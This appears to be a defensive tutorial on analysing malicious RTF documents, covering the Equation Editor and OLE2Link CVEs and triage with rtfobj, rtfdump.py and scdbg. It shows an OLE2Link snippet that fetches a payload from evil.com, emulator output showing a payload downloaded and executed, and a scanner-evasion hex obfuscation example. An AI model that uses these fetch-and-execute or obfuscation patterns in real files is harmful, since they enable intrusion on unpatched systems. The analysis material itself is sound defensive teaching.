Malicious RTF Analysis

Why Attackers Use RTF

Rich Text Format (RTF) is a plain-text document format developed by Microsoft. Despite being considered legacy, RTF remains a common malware delivery vehicle because:

Property	Attacker Advantage
OLE embedding	RTF can embed OLE objects including executables and exploit payloads
Legacy CVEs	Old vulnerabilities remain effective on unpatched systems
Parser inconsistency	Different RTF parsers handle malformed control words differently — enables scanner bypass
Plain-text format	Easy to obfuscate by inserting junk control words or splitting hex data
Auto-rendering	Many email clients render RTF without user interaction

RTF Structure Basics

An RTF file is plain text. Opening any RTF in a text editor reveals its structure immediately:

{\rtf1\ansi\deff0
{\fonttbl{\f0 Times New Roman;}}
{\colortbl ;\red0\green0\blue0;}
\pard This is the document body.\par
{\object\objemb\objw9360\objh5400
{\*\objclass Equation.3}
{\objdata ...hex data...}}}

• Control words begin with \ (e.g., \rtf1, \par, \object)
• Groups are enclosed in { } and can be nested
• OLE objects appear in \object groups with hex-encoded data in \objdata
• Binary data in \objdata is the primary attack vector — it contains the exploit payload

Most Exploited Vulnerabilities

CVE-2017-11882 — Equation Editor Buffer Overflow

The most widely exploited RTF vulnerability. A stack buffer overflow in EQNEDT32.EXE (Microsoft Equation Editor) triggered when an RTF document embeds an Equation.3 OLE object.

Exploitation chain:
1. Word opens RTF document
2. Finds \object with class name "Equation.3"
3. Launches EQNEDT32.EXE to render the equation
4. Overflow in EQNEDT32.EXE triggers shellcode execution
5. Shellcode downloads and executes attacker payload

Microsoft patched this in November 2017, but it remains effective against unpatched systems and is still heavily used in phishing campaigns.

CVE-2017-0199 — OLE2Link Remote HTA Fetch

The RTF embeds an OLE2Link object pointing to a remote URL. When Word renders the document, it fetches and executes an HTA (HTML Application) file from the attacker's server — without requiring macros to be enabled.

\object\objautlink
{\*\objclass OLE2Link}
{\objdata ...URL pointing to http://evil.com/payload.hta...}

CVE-2018-0802 — Equation Editor Bypass

A bypass for the CVE-2017-11882 patch. Microsoft patched 11882 by adding bounds checking, but missed a second overflow in the same component. Exploitation technique is essentially identical.

Analysis Tools

Tool	Purpose
rtfobj (oletools)	Extracts embedded OLE objects, identifies class names
rtfdump.py (Didier Stevens)	Parses RTF structure, lists groups and control words, highlights hex data
olevba (oletools)	Extracts VBA macros from embedded OLE objects
scdbg	Emulates and traces shellcode execution without running it natively

Step 1: Extract OLE Objects with rtfobj

rtfobj malicious.rtf

Example output for CVE-2017-11882:

File: 'malicious.rtf' - size: 283156 bytes
---+----------+------------------------------------
id |index     |OLE Object
---+----------+------------------------------------
 0 |0000024Ah |format_id: 2 (Embedded)
   |          |class name: 'Equation.3'   ← CVE-2017-11882 indicator
   |          |data size: 3584
---+----------+------------------------------------

The class name Equation.3 immediately identifies a potential Equation Editor exploit.

Extract the object:

rtfobj -s all malicious.rtf
# Creates: malicious_object_0.bin

Step 2: Analyse the Extracted Object with scdbg

The extracted OLE object contains shellcode. scdbg emulates shellcode execution in a safe sandbox:

scdbg /f malicious_object_0.bin

Example scdbg output:

Loaded 3584 bytes from file malicious_object_0.bin
Initialization Complete..
GetProcAddress(LoadLibraryA)
LoadLibraryA(urlmon)
URLDownloadToFileA(http://185.220.x.x/payload.exe, C:\Users\Public\svchost.exe)
WinExec(C:\Users\Public\svchost.exe)

From this output, without executing any malicious code:

• Download URL: http://185.220.x.x/payload.exe → network IOC
• Drop path: C:\Users\Public\svchost.exe → file system IOC
• Execution method: WinExec → process creation IOC

Step 3: Inspect RTF Structure with rtfdump.py

rtfdump.py malicious.rtf          # list all groups
rtfdump.py -f O malicious.rtf     # show only OLE-containing groups
rtfdump.py -s 5 -H malicious.rtf  # dump hex of group 5

Use rtfdump.py to find obfuscation — junk control words inserted between hex bytes to break pattern matching:

Normal hex in \objdata:  d0cf11e0a1b11ae1...
Obfuscated:              d0{\cf0}cf{\b}11e0...  ← control words interspersed

rtfdump.py strips the junk and reassembles the clean hex automatically.

High-Risk RTF Indicators

Indicator	Implication
Equation.3 class name	CVE-2017-11882 or CVE-2018-0802
OLE2Link or objautlink	CVE-2017-0199 (remote HTA fetch)
Large \objdata block (>1KB)	Embedded exploit payload
Junk control words between hex bytes	Obfuscation attempt to evade scanners
\object\objemb with unknown class	Suspicious OLE of any type
High character entropy in \objdata	Encrypted or compressed payload

Quick Triage Workflow

1. rtfobj malicious.rtf
   → class name = "Equation.3"? → CVE-2017-11882
   → class name = "OLE2Link"?   → CVE-2017-0199

2. rtfobj -s all malicious.rtf  (extract objects)

3. scdbg /f extracted_object.bin  (emulate shellcode)
   → note download URL, drop path, execution method as IOCs

4. Submit extracted object SHA-256 to VirusTotal